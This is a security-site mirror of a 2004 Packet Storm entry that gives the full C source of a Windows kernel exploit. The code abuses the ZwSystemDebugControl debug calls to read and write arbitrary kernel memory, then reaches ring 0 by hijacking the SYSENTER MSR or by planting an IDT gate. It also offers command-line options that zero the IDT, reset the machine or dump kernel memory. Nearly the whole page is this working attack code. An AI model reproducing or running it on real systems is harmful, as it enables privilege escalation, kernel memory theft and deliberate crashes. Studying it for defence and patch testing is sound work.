Lucene search
K

xploit_dbg.cpp.txt

🗓️ 19 Feb 2004 00:00:00Reported by randnutType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 37 Views

Code for interacting with kernel using system calls for IO space and Model Specific Registers.

Code
`/*  
* Discovered and coded Jan 25, 2004  
* Copyright (C)2004 [email protected]  
*/  
  
#include <windows.h>  
#include <stdio.h>  
  
typedef int NTSTATUS;  
#define NTAPI __stdcall  
  
const IA32_SYSENTER_CS = 0x174;  
const IA32_SYSENTER_ESP = 0x175;  
const IA32_SYSENTER_EIP = 0x176;  
  
const SelCodeKernel = 0x8;  
const CmosIndx = 0x0E; // CMOS Diagnostic Status  
const RdWrIoPort = 0x80;  
  
#define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;}  
#define FCHK2(a,b) if (!(a)) {printf(#a " failed\n"); goto b;}  
  
typedef enum _DEBUG_CONTROL_CODE {  
DebugSysReadIoSpace = 14,  
DebugSysWriteIoSpace = 15,  
DebugSysReadMsr = 16,  
DebugSysWriteMsr = 17,  
DebugSysReadBusData = 18,  
DebugSysWriteBusData = 19,  
} DEBUG_CONTROL_CODE;  
  
typedef struct _MSR_STRUCT {  
DWORD MsrNum; // MSR number  
DWORD NotUsed; // Never accessed by the kernel  
DWORD MsrLo; // IN (write) or OUT (read): Low 32 bits of MSR  
DWORD MsrHi; // IN (write) or OUT (read): High 32 bits of MSR  
} MSR_STRUCT;  
  
typedef struct _IO_STRUCT {  
DWORD IoAddr; // IN: Aligned to NumBytes,I/O address  
DWORD Reserved1; // Never accessed by the kernel  
PVOID pBuffer; // IN (write) or OUT (read): Ptr to buffer  
DWORD NumBytes; // IN: # bytes to read/write. Only use 1, 2, or 4.  
DWORD Reserved4; // Must be 1  
DWORD Reserved5; // Must be 0  
DWORD Reserved6; // Must be 1  
DWORD Reserved7; // Never accessed by the kernel  
} IO_STRUCT;  
  
// Copied from the Windows DDK  
typedef enum _BUS_DATA_TYPE {  
ConfigurationSpaceUndefined = -1,  
Cmos,  
EisaConfiguration,  
Pos,  
CbusConfiguration,  
PCIConfiguration,  
VMEConfiguration,  
NuBusConfiguration,  
PCMCIAConfiguration,  
MPIConfiguration,  
MPSAConfiguration,  
PNPISAConfiguration,  
SgiInternalConfiguration,  
MaximumBusDataType  
} BUS_DATA_TYPE, *PBUS_DATA_TYPE;  
  
// See HalGetBusDataByOffset()/HalSetBusDataByOffset() for explanations of   
each field  
typedef struct _BUS_STRUCT {  
ULONG Offset;  
PVOID Buffer;  
ULONG Length;  
BUS_DATA_TYPE BusDataType;  
ULONG BusNumber;  
ULONG SlotNumber;  
} BUS_STRUCT;  
  
typedef  
NTSTATUS  
(NTAPI *PZwSystemDebugControl)(  
DEBUG_CONTROL_CODE ControlCode,  
PVOID InputBuffer,  
ULONG InputBufferLength,  
PVOID OutputBuffer,  
ULONG OutputBufferLength,  
PULONG ReturnLength  
);  
  
PZwSystemDebugControl ZwSystemDebugControl = NULL;  
  
enum Ring0Method {  
Method1,  
Method2,  
};  
  
struct OldCpuState  
{  
Ring0Method meth;  
MSR_STRUCT msr[3];  
DWORD AffinityMask;  
DWORD EFLAGS, CS, SS, OldIdtDesc[2];  
};  
  
void help()  
{  
printf("Usage: name_of_program [option [option [...]]]\n");  
printf("/test1 - test for SYSENTER vuln\n");  
printf("/test2 - test for I/O write to mem   
vuln\n");  
printf("/test3 - test for bus write to mem   
vuln\n");  
printf("/reset - reset CPU in ring 0\n");  
printf("/zeroidt - zero IDT (reboots PC)\n");  
printf("/wrmem <addr> <byte> - write byte to mem\n");  
printf("/rdmsr <num> - read MSR\n");  
printf("/wrmsr <num> <hi> <lo> - write MSR\n");  
printf("/rdio <port> <size> - read I/O port\n");  
printf("/wrio <port> <size> <value> - write I/O port\n");  
printf("/dump <addr> <size> - dump memory from ring 0\n");  
exit(0);  
}  
  
int rdmsr(int MsrNum, MSR_STRUCT& msr)  
{  
msr.MsrNum = MsrNum;  
return ZwSystemDebugControl(DebugSysReadMsr, &msr, sizeof(msr), NULL, 0,   
NULL) >= 0;  
}  
  
int wrmsr(int MsrNum, MSR_STRUCT& msr)  
{  
msr.MsrNum = MsrNum;  
return ZwSystemDebugControl(DebugSysWriteMsr, &msr, sizeof(msr), NULL, 0,   
NULL) >= 0;  
}  
  
void PrintMsr(MSR_STRUCT& msr)  
{  
printf("MSR %08X = %08X_%08X\n", msr.MsrNum, msr.MsrHi, msr.MsrLo);  
}  
  
int HasSysEnter()  
{  
int retval = 0;  
  
__try  
{  
__asm  
{  
mov eax,1  
cpuid  
shr edx,12  
adc retval,0  
}  
}  
__except (EXCEPTION_EXECUTE_HANDLER)  
{  
}  
  
return retval;  
}  
  
int SetProcessor(DWORD NewAffinityMask, DWORD* pOldAffinityMask)  
{  
DWORD tmp;  
  
FCHK(!pOldAffinityMask || GetProcessAffinityMask(GetCurrentProcess(),   
pOldAffinityMask, &tmp));  
FCHK(SetProcessAffinityMask(GetCurrentProcess(), NewAffinityMask));  
  
return 1;  
}  
  
/*  
* Returns < 0 on error. If ppAddr != NULL, returns 0x100 on success.  
* If ppAddr == NULL, returns byte read on success.  
*/  
int CmosRead(int offs, BYTE** ppAddr = NULL)  
{  
BYTE buf;  
BUS_STRUCT bus;  
  
bus.BusDataType = Cmos;  
bus.BusNumber = 0;  
bus.SlotNumber = offs;  
bus.Buffer = ppAddr ? *ppAddr : &buf;  
bus.Offset = 0;  
bus.Length = 1;  
  
if (ZwSystemDebugControl(DebugSysReadBusData, &bus, sizeof(bus), NULL, 0,   
NULL) < 0)  
return -1;  
else  
return ppAddr ? 0x100 : buf;  
}  
  
/*  
* Returns 0 on failure, 1 on success  
*/  
int CmosWrite(int offs, BYTE val, BYTE** ppAddr = NULL)  
{  
BUS_STRUCT bus;  
  
bus.BusDataType = Cmos;  
bus.BusNumber = 0;  
bus.SlotNumber = offs;  
bus.Buffer = ppAddr == NULL ? &val : *ppAddr;  
bus.Offset = 0;  
bus.Length = 1;  
  
return ZwSystemDebugControl(DebugSysWriteBusData, &bus, sizeof(bus), NULL,   
0, NULL) >= 0;  
}  
  
/*  
* Write a byte to any location by exploiting another bug in the kernel. This   
function  
* uses DebugSysWriteIoSpace and DebugSysReadIoSpace to write the byte to any   
address.  
* This code must execute in ring 3.  
*/  
int Method1_WriteMemByte(DWORD MemAddr, BYTE Value)  
{  
IO_STRUCT io;  
  
memset(&io, 0, sizeof(io));  
io.IoAddr = RdWrIoPort;  
io.pBuffer = &Value;  
io.NumBytes = 1;  
io.Reserved4 = 1;  
io.Reserved6 = 1;  
if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0,   
NULL) < 0)  
return 0;  
  
memset(&io, 0, sizeof(io));  
io.IoAddr = RdWrIoPort;  
io.pBuffer = (PVOID)(ULONG_PTR)MemAddr;  
io.NumBytes = 1;  
io.Reserved4 = 1;  
io.Reserved6 = 1;  
if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0,   
NULL) < 0)  
return 0;  
  
return 1;  
}  
  
/*  
* Read a byte from any location by exploiting another bug in the kernel.   
This function  
* uses DebugSysWriteIoSpace and DebugSysReadIoSpace to read the byte from   
any address.  
* This code must execute in ring 3.  
*/  
int Method1_ReadMemByte(DWORD MemAddr)  
{  
BYTE Value;  
  
IO_STRUCT io;  
memset(&io, 0, sizeof(io));  
io.IoAddr = RdWrIoPort;  
io.pBuffer = (PVOID)(ULONG_PTR)MemAddr;  
io.NumBytes = 1;  
io.Reserved4 = 1;  
io.Reserved6 = 1;  
if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0,   
NULL) < 0)  
return -1;  
  
memset(&io, 0, sizeof(io));  
io.IoAddr = RdWrIoPort;  
io.pBuffer = &Value;  
io.NumBytes = 1;  
io.Reserved4 = 1;  
io.Reserved6 = 1;  
if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0,   
NULL) < 0)  
return -1;  
  
return Value;  
}  
  
int CmosTest()  
{  
int OldVal = CmosRead(CmosIndx);  
if (OldVal < 0)  
return 0;  
  
static int HasTested = 0;  
if (HasTested == 0)  
{  
HasTested = -1;  
  
if (!CmosWrite(CmosIndx, 0x55) || CmosRead(CmosIndx) != 0x55 ||  
!CmosWrite(CmosIndx, 0xAA) || CmosRead(CmosIndx) != 0xAA ||  
!CmosWrite(CmosIndx, (BYTE)OldVal))  
{  
printf("There's something wrong with your CMOS\n");  
return 0;  
}  
  
HasTested = 1;  
}  
else if (HasTested == -1)  
return 0;  
  
return 1;  
}  
  
/*  
* Write a byte to any location by exploiting another bug in the kernel. This   
function  
* uses DebugSysReadBusData and DebugSysWriteBusData to write the byte to any   
address.  
* This code must execute in ring 3.  
*/  
int Method2_WriteMemByte(DWORD MemAddr, BYTE Value)  
{  
if (!CmosTest())  
return 0;  
  
int OldVal = CmosRead(CmosIndx);  
if (OldVal < 0)  
return 0;  
  
BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;  
if (!CmosWrite(CmosIndx, Value) || CmosRead(CmosIndx, &p) < 0 ||  
!CmosWrite(CmosIndx, OldVal))  
return 0;  
  
return 1;  
}  
  
/*  
* Read a byte from any location by exploiting another bug in the kernel.   
This function  
* uses DebugSysReadBusData and DebugSysWriteBusData to read the byte from   
any address.  
* This code must execute in ring 3.  
*/  
int Method2_ReadMemByte(DWORD MemAddr)  
{  
int OldVal, RetVal;  
  
if (!CmosTest())  
return -1;  
  
BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;  
if ((OldVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, 0, &p) ||  
(RetVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, (BYTE)OldVal))  
return -1;  
  
return RetVal;  
}  
  
static int MemAccessMethType = -1;  
int SetMemAccessMeth(int NewMeth)  
{  
int old = MemAccessMethType;  
  
if (NewMeth == -1 || NewMeth == 1 || NewMeth == 2)  
MemAccessMethType = NewMeth;  
  
return old;  
}  
  
int WriteMemByte(DWORD MemAddr, BYTE Value)  
{  
switch (MemAccessMethType)  
{  
case 1:  
return Method1_WriteMemByte(MemAddr, Value);  
  
case 2:  
return Method2_WriteMemByte(MemAddr, Value);  
  
case -1:  
default:  
return Method1_WriteMemByte(MemAddr, Value) ||   
Method2_WriteMemByte(MemAddr, Value);  
}  
}  
  
int ReadMemByte(DWORD MemAddr)  
{  
switch (MemAccessMethType)  
{  
case 1:  
return Method1_ReadMemByte(MemAddr);  
  
case 2:  
return Method2_ReadMemByte(MemAddr);  
  
case -1:  
default:  
int RetVal;  
if ((RetVal = Method1_ReadMemByte(MemAddr)) >= 0 ||  
(RetVal = Method2_ReadMemByte(MemAddr)) >= 0)  
(void)0 /* Nothing */;  
return RetVal;  
}  
}  
  
/*  
* Tries to enter ring 0 by overwriting IA32_SYSENTER_EIP and executing   
SYSENTER.  
* Returns 1 on success. If it returns 1, EFLAGS.IF=0.  
*/  
int Method1_EnterRing0(OldCpuState& old)  
{  
old.meth = Method1;  
if (!HasSysEnter())  
return 0;  
  
FCHK(SetProcessor(1, &old.AffinityMask));  
FCHK2(rdmsr(IA32_SYSENTER_CS, old.msr[0]), cleanup);  
FCHK2(rdmsr(IA32_SYSENTER_ESP, old.msr[1]), cleanup);  
FCHK2(rdmsr(IA32_SYSENTER_EIP, old.msr[2]), cleanup);  
  
DWORD Ring0Addr;  
__asm  
{  
mov Ring0Addr,offset ring0_addr  
}  
  
Sleep(100); // A more reliable way is to block all interrupts through the   
PIC.  
  
MSR_STRUCT msr;  
if (old.msr[0].MsrLo == 0) // SYSENTER not enabled  
{  
// IMPORTANT:  
// I assume the OS sets up the GDT as follows:  
// base:ring0 code  
// ring0 data  
// ring3 code  
// ring3 data  
// Will crash eventually if it's not setup that way  
msr.MsrLo = SelCodeKernel;  
msr.MsrHi = 0;  
FCHK2(wrmsr(IA32_SYSENTER_CS, msr), cleanup);  
}  
  
msr.MsrHi = 0;  
msr.MsrLo = Ring0Addr;  
FCHK2(wrmsr(IA32_SYSENTER_EIP, msr), cleanup2); // Let's hope we won't get   
interrupted after this call  
  
__asm  
{  
mov ecx,esp  
// Hmm, can't assemble SYSENTER or DB 0F,34  
jmp short $+3  
mov eax,9090340Fh  
ring0_addr:  
mov esp,ecx  
// Hot dog! :)  
}  
  
return 1;  
  
cleanup2:  
if (old.msr[0].MsrLo == 0)  
wrmsr(IA32_SYSENTER_CS, old.msr[0]);  
cleanup:  
FCHK(SetProcessor(old.AffinityMask, NULL));  
return 0;  
}  
  
/*  
* Enters ring 3  
*/  
void Method1_LeaveRing0(OldCpuState& old)  
{  
MSR_STRUCT* pmsr = &old.msr[0];  
__asm  
{  
mov ebx,pmsr  
  
mov ecx,[ebx] // IA32_SYSENTER_CS  
mov eax,[ebx+8]  
mov edx,[ebx+0Ch]  
test eax,eax  
jz skip1  
wrmsr  
skip1:  
  
mov ecx,[ebx+10h] // IA32_SYSENTER_ESP  
mov eax,[ebx+10h+8]  
mov edx,[ebx+10h+0Ch]  
wrmsr  
  
mov ecx,[ebx+20h] // IA32_SYSENTER_EIP  
mov eax,[ebx+20h+8]  
mov edx,[ebx+20h+0Ch]  
wrmsr  
  
mov ecx,esp  
mov edx,offset ring3_code  
// Hmm, can't assemble SYSEXIT or DB 0F,35  
jmp short $+3  
mov eax,90350FFBh  
ring3_code:  
}  
if (old.msr[0].MsrLo == 0) // SYSENTER was not enabled  
wrmsr(old.msr[0].MsrNum, old.msr[0]);  
  
SetProcessor(old.AffinityMask, NULL);  
}  
  
/*  
* Tries to enter ring 0 by telling the kernel to write to the IDT with bytes   
we control.  
* Returns 1 on success. If it returns 1, EFLAGS.IF=0.  
*/  
int Method2_EnterRing0(OldCpuState& old)  
{  
old.meth = Method2;  
FCHK(SetProcessor(1, &old.AffinityMask));  
  
DWORD Ring0Addr, EFLAGS, _CS, _SS;  
DWORD idt[2], idt_base, idt_limit;  
__asm  
{  
mov Ring0Addr,offset ring0_addr  
sidt idt+2  
movzx eax,word ptr idt+2  
mov idt_limit,eax  
mov eax,idt+4  
mov idt_base,eax  
pushfd  
pop eax  
mov EFLAGS,eax  
mov word ptr _CS,cs  
mov word ptr _SS,ss  
}  
old.EFLAGS = EFLAGS;  
old.CS = _CS;  
old.SS = _SS;  
  
#define IntNum 0xFF  
  
if (IntNum*8 + 7 > idt_limit)  
{  
printf("ERROR: The interrupt number is outside the IDT. Change it and   
recompile.\n");  
goto cleanup;  
}  
  
BYTE* pOldIdtDesc = (BYTE*)&old.OldIdtDesc;  
for (int i = 0; i < 8; i++)  
{  
int SomeByte;  
FCHK2((SomeByte = ReadMemByte(idt_base + IntNum*8 + i)) >= 0, cleanup);  
*pOldIdtDesc++ = (BYTE)SomeByte;  
}  
  
DWORD IdtDesc[2];  
IdtDesc[0] = (SelCodeKernel << 16) | (Ring0Addr & 0xFFFF);  
IdtDesc[1] = (Ring0Addr & 0xFFFF0000) | 0xEE00; // 32-bit interrupt gate,   
DPL3  
  
for (int i = 0; i < 8; i++)  
FCHK2(WriteMemByte(idt_base + IntNum*8 + i, *((BYTE*)&IdtDesc + i)),   
cleanup);  
  
__asm  
{  
xchg esp,eax  
int IntNum  
ring0_addr:  
xchg esp,eax  
// What do you know, it worked!  
}  
  
return 1;  
  
cleanup:  
FCHK(SetProcessor(old.AffinityMask, NULL));  
return 0;  
}  
  
/*  
* Enters ring 3  
*/  
void Method2_LeaveRing0(OldCpuState& old)  
{  
DWORD idt[2];  
DWORD EFLAGS = old.EFLAGS;  
DWORD _CS = old.CS;  
DWORD _SS = old.SS;  
DWORD* pOldIdtDesc = &old.OldIdtDesc[0];  
__asm  
{  
sidt idt+2  
mov eax,idt+4  
mov ecx,pOldIdtDesc  
mov edx,[ecx]  
mov ecx,[ecx+4]  
mov [eax+IntNum*8],edx  
mov [eax+IntNum*8+4],ecx  
  
mov eax,esp  
push _SS  
push eax  
mov eax,EFLAGS  
and eax,not (1 shl 0Eh)  
push eax  
push _CS  
push offset ring3_addr  
iretd  
ring3_addr:  
}  
  
SetProcessor(old.AffinityMask, NULL);  
}  
  
int EnterRing0(OldCpuState& old)  
{  
/*  
* Method2 is safer than Method1  
*/  
return Method2_EnterRing0(old) || Method1_EnterRing0(old);  
}  
  
void LeaveRing0(OldCpuState& old)  
{  
switch (old.meth)  
{  
case Method1: Method1_LeaveRing0(old); break;  
case Method2: Method2_LeaveRing0(old); break;  
default: __asm jmp short $  
}  
}  
  
int EnablePrivilege(HANDLE hToken, LPCSTR lpszName, int enable)  
{  
TOKEN_PRIVILEGES tok;  
  
tok.PrivilegeCount = 1;  
tok.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0;  
  
FCHK(LookupPrivilegeValue(NULL, lpszName, &tok.Privileges[0].Luid));  
FCHK(AdjustTokenPrivileges(hToken, FALSE, &tok, sizeof(tok), NULL, NULL));  
  
return 1;  
}  
  
void PrintDelay(int secs)  
{  
while (secs--)  
{  
printf("%d..", secs+1);  
Sleep(1000);  
}  
printf("NOW\n");  
}  
  
void PrintVulnMsg(int failed)  
{  
if (!failed)  
printf("Your operating system is vulnerable to this exploit.\n");  
else  
{  
printf("If this user account has the SeDebugPrivilege privilege then   
your\n");  
printf("OS doesn't appear to be vulnerable.\n\n");  
}  
}  
  
DWORD ReadMem(DWORD MemAddr, void* buf, DWORD bufsz)  
{  
if (!bufsz || !buf)  
return 0;  
  
#if 0  
/*  
* Will crash XP if we read from non-present memory so don't use this code  
*/  
BYTE* p = (BYTE*)buf;  
for (DWORD i = 0; i < bufsz; i++)  
{  
int SomeByte;  
if ((SomeByte = ReadMemByte(MemAddr++)) < 0)  
break;  
p[i] = (BYTE)SomeByte;  
}  
return i;  
#else  
OldCpuState old;  
if (!EnterRing0(old))  
return 0;  
  
DWORD ret_val;  
__asm  
{  
sub esp,8  
sidt [esp+2]  
mov ebx,[esp+4]  
add esp,8  
push dword ptr [ebx+0Eh*8]  
push dword ptr [ebx+0Eh*8+4]  
  
mov eax,offset xcpt_handler  
mov [ebx+0Eh*8],eax  
mov [ebx+0Eh*8+4],eax  
mov word ptr [ebx+0Eh*8+4],8E00h  
mov word ptr [ebx+0Eh*8+2],cs  
  
mov ecx,bufsz  
mov esi,MemAddr  
mov edi,buf  
rep movsb  
jmp skip_xcpt  
xcpt_handler:  
add esp,8  
popfd  
pop eax  
skip_xcpt:  
pop dword ptr [ebx+0Eh*8+4]  
pop dword ptr [ebx+0Eh*8]  
  
mov eax,bufsz  
sub eax,ecx  
mov ret_val,eax  
}  
  
LeaveRing0(old);  
return ret_val;  
#endif  
}  
  
int DumpMem(DWORD MemAddr, DWORD size)  
{  
if (size == 0)  
return 1;  
if (MemAddr + size - 1 < MemAddr)  
return 0;  
  
DWORD OldMask;  
FCHK(SetProcessor(1, &OldMask));  
  
int ret = 1;  
const BytesPerLine = 16;  
while (size)  
{  
BYTE buf[BytesPerLine];  
DWORD addr = MemAddr - MemAddr % BytesPerLine;  
DWORD SizeRead = ReadMem(addr, buf, BytesPerLine);  
  
printf("%08X:", addr);  
for (int i = 0; i < BytesPerLine; i++)  
{  
if ((i & 3) == 0 && i != 0)  
printf("-");  
else  
printf(" ");  
if (addr < MemAddr || addr > MemAddr+size-1)  
printf(" ");  
else if ((DWORD)i >= SizeRead)  
printf("??");  
else  
printf("%02X", buf[i]);  
addr++;  
}  
printf(" ");  
  
addr = MemAddr - MemAddr % BytesPerLine;  
for (int i = 0; i < BytesPerLine; i++)  
{  
if (addr < MemAddr || addr > MemAddr+size-1)  
printf(" ");  
else if ((DWORD)i >= SizeRead)  
printf("?");  
else if (buf[i] >= 0x20 && buf[i] <= 0x7E)  
printf("%c", buf[i]);  
else  
printf(".");  
addr++;  
}  
printf("\n");  
  
size -= min(size, addr - MemAddr);  
MemAddr = addr;  
}  
  
SetProcessor(OldMask, NULL);  
return ret;  
}  
  
int main(int argc, char* argv[])  
{  
HMODULE hNtdll;  
FCHK((hNtdll = LoadLibrary("ntdll.dll")) != NULL);  
FCHK((ZwSystemDebugControl = (PZwSystemDebugControl)GetProcAddress(hNtdll,   
"ZwSystemDebugControl")) != NULL);  
  
HANDLE hToken;  
FCHK(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES |   
TOKEN_QUERY, &hToken));  
FCHK(EnablePrivilege(hToken, SE_DEBUG_NAME, 1));  
  
for (int i = 1; i < argc; i++)  
{  
char* s = argv[i];  
if (*s != '/' && *s != '-')  
help();  
s++;  
  
if (!strcmp(s, "rdmsr") && i+1 < argc)  
{  
MSR_STRUCT msr;  
int num = strtoul(argv[++i], NULL, 0);  
if (rdmsr(num, msr))  
PrintMsr(msr);  
else  
printf("rdmsr(%08X) failed\n", num);  
}  
else if (!strcmp(s, "wrmsr") && i+3 < argc)  
{  
MSR_STRUCT msr;  
int num = strtoul(argv[++i], NULL, 0);  
msr.MsrHi = strtoul(argv[++i], NULL, 0);  
msr.MsrLo = strtoul(argv[++i], NULL, 0);  
if (!wrmsr(num, msr))  
{  
printf("wrmsr(%08X) failed\n", num);  
continue;  
}  
if (rdmsr(num, msr))  
PrintMsr(msr);  
else  
printf("rdmsr(%08X) failed\n", num);  
}  
else if (!strcmp(s, "rdio") && i+2 < argc)  
{  
IO_STRUCT io;  
memset(&io, 0, sizeof(io));  
DWORD Buffer;  
io.IoAddr = strtoul(argv[++i], NULL, 0);  
io.pBuffer = &Buffer;  
io.NumBytes = strtoul(argv[++i], NULL, 0);  
io.Reserved4 = 1;  
io.Reserved6 = 1;  
  
if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes != 4)  
{  
printf("Size must be 1, 2, or 4 bytes\n");  
continue;  
}  
if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0,   
NULL) < 0)  
{  
printf("Could not read I/O space\n");  
continue;  
}  
switch (io.NumBytes)  
{  
case 1: printf("0x%02X\n", (BYTE)Buffer); break;  
case 2: printf("0x%04X\n", (WORD)Buffer); break;  
case 4: printf("0x%08X\n", Buffer); break;  
default: printf("WTF\n"); break;  
}  
}  
else if (!strcmp(s, "wrio") && i+3 < argc)  
{  
IO_STRUCT io;  
memset(&io, 0, sizeof(io));  
DWORD Buffer;  
io.IoAddr = strtoul(argv[++i], NULL, 0);  
io.pBuffer = &Buffer;  
io.NumBytes = strtoul(argv[++i], NULL, 0);  
io.Reserved4 = 1;  
io.Reserved6 = 1;  
Buffer = strtoul(argv[++i], NULL, 0);  
  
if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes != 4)  
{  
printf("Size must be 1, 2, or 4 bytes\n");  
continue;  
}  
if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0,   
NULL) < 0)  
{  
printf("Could not write to I/O space\n");  
continue;  
}  
}  
else if (!strcmp(s, "reset"))  
{  
OldCpuState old;  
printf("Will reset computer in...");  
PrintDelay(3);  
  
if (!EnterRing0(old))  
{  
printf("Could not enter ring 0\n");  
continue;  
}  
__asm  
{  
push 0  
lidt [esp]  
pop esp  
inc esp  
push esp  
}  
LeaveRing0(old);  
printf("WTF\n");  
}  
else if (!strcmp(s, "wrmem") && i+2 < argc)  
{  
DWORD MemAddr = strtoul(argv[++i], NULL, 0);  
BYTE Value = (BYTE)strtoul(argv[++i], NULL, 0);  
  
if (!WriteMemByte(MemAddr, Value))  
{  
printf("Could not write the byte\n");  
continue;  
}  
}  
else if (!strcmp(s, "zeroidt"))  
{  
DWORD OldMask;  
if (!SetProcessor(1, &OldMask))  
{  
printf("SetProcessor() failed\n");  
continue;  
}  
  
DWORD idt[2];  
int idt_size, idt_base;  
__asm  
{  
sidt idt+2  
movzx eax,word ptr idt+2  
mov idt_size,eax  
mov eax,idt+4  
mov idt_base,eax  
}  
printf("Will start writing to IDT @ %08X in...", idt_base);  
PrintDelay(3);  
  
for (int j = 0; j <= idt_size; j++)  
{  
if (!WriteMemByte(idt_base + j, 0x00))  
{  
printf("Could not write the byte to address %08X\n", idt_base + j);  
break;  
}  
}  
if (j != 0)  
printf("WTF\n");  
  
SetProcessor(OldMask, NULL);  
}  
else if (!strcmp(s, "test1"))  
{  
if (!HasSysEnter())  
{  
printf("Sorry. SYSENTER/SYSEXIT instructions aren't supported by your   
processor.\n");  
continue;  
}  
  
int failed = 1;  
OldCpuState old;  
  
printf("Testing SYSENTER vulnerability in...");  
PrintDelay(3);  
  
if (Method1_EnterRing0(old))  
{  
failed = 0;  
Method1_LeaveRing0(old);  
}  
  
PrintVulnMsg(failed);  
}  
else if (!strcmp(s, "test2"))  
{  
int failed = 1;  
OldCpuState old;  
  
printf("Testing I/O write to memory vulnerability in...");  
PrintDelay(3);  
  
int OldWrite = SetMemAccessMeth(1);  
if (Method2_EnterRing0(old))  
{  
failed = 0;  
Method2_LeaveRing0(old);  
}  
SetMemAccessMeth(OldWrite);  
  
PrintVulnMsg(failed);  
}  
else if (!strcmp(s, "test3"))  
{  
int failed = 1;  
OldCpuState old;  
  
printf("Testing bus write to memory vulnerability in...");  
PrintDelay(3);  
  
int OldWrite = SetMemAccessMeth(2);  
if (Method2_EnterRing0(old))  
{  
failed = 0;  
Method2_LeaveRing0(old);  
}  
SetMemAccessMeth(OldWrite);  
  
PrintVulnMsg(failed);  
}  
else if (!strcmp(s, "dump") && i+2 < argc)  
{  
DWORD MemAddr = strtoul(argv[++i], NULL, 0);  
DWORD size = strtoul(argv[++i], NULL, 0);  
  
if (!DumpMem(MemAddr, size))  
printf("Could not dump memory\n");  
}  
else  
{  
help();  
}  
}  
  
return 1;  
}  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation